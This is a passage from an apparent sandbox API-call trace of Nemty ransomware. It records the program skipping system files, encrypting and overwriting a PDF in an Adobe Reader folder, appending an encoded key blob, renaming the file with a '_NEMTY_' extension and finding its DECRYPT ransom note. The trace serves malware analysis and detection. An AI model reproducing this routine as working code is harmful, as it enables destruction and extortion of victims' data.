lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0189.328] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.328] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0189.328] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0189.328] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0189.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0189.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0189.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0189.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0189.329] Sleep (dwMilliseconds=0x5) [0189.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x247fd510, dwHighDateTime=0x1d561e8)) [0189.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x247fd510, dwHighDateTime=0x1d561e8)) [0189.335] GetLastError () returned 0x0 [0189.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.335] GetLastError () returned 0x0 [0189.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.335] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.335] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.336] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0189.336] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="J7eC6XBE/tH1POFk6Yy/GoGOdjVaE/OXULnL3ctCO0AxB0TDNCw5rTQE9A6dwZla\r\nAjqxE9K8UfAurRCnkVcoOggcUBLbkBphxD7ebQKiUIrBRCGbi0mv5gVvLKeerfdT\r\nZQrjibzUeUzO5JXKag3BaRtqeHP7LWNPX/1fYUGtMN+d/d5UqpWSrK4gYIzAb+bo\r\nGVTMJhrbHQxj9uVAe6jWr2GCqPfwuGxQuSYXG7EgVF5BgaGr3Jz6ijxG0aTzh0CP\r\nwgfMPVHI4YSwggSHRs29r8y0R7izai6BS2qqg0Mk3h8htaG/HFKIQKLYRRhVeLD9\r\nQXcrrTQC2wuJzuhoOZxPTw==\r\n", pcchString=0x653df5c) returned 1 [0189.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0189.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.336] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=105607) returned 1 [0189.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.336] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.336] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.345] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.345] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.346] SetFilePointer (in: hFile=0x320, lDistanceToMove=105607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19c87 [0189.346] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.346] CloseHandle (hObject=0x320) returned 1 [0189.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0189.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0189.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0189.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0189.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.346] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0189.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0189.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0189.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.347] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24764f90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24764f90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2478b0f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0189.347] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0189.347] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0189.347] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0189.347] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0189.347] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0189.347] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0189.347] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0189.347] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0189.347] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0189.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0189.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0189.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0189.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404a8 [0189.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.349] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24764f90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24764f90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2478b0f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0189.349] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0189.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0189.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.349] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="RUM", cAlternateFileName="")) returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2=".") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="..") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="...") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="windows") returned -1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="$RECYCLE.BIN") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="rsa") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="NTDETECT.COM") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="ntldr") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="MSDOS.SYS") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="IO.SYS") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="boot.ini") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="boot.ini") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="AUTOEXEC.BAT") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="ntuser.dat") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="desktop.ini") returned 1 [0189.349] lstrcmpiW (lpString1="RUM", lpString2="CONFIG.SYS") returned 1 [0189.350] lstrcmpiW (lpString1="RUM", lpString2="RECYCLER") returned 1 [0189.350] lstrcmpiW (lpString1="RUM", lpString2="BOOTSECT.BAK") returned 1 [0189.350] lstrcmpiW (lpString1="RUM", lpString2="bootmgr") returned 1 [0189.350] lstrcmpiW (lpString1="RUM", lpString2="programdata") returned 1 [0189.350] lstrcmpiW (lpString1="RUM", lpString2="appdata") returned 1 [0189.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUM", lpUsedDefaultChar=0x0) returned 3 [0189.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUM", lpUsedDefaultChar=0x0) returned 3 [0189.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0189.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0189.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0189.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0189.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0189.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0189.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 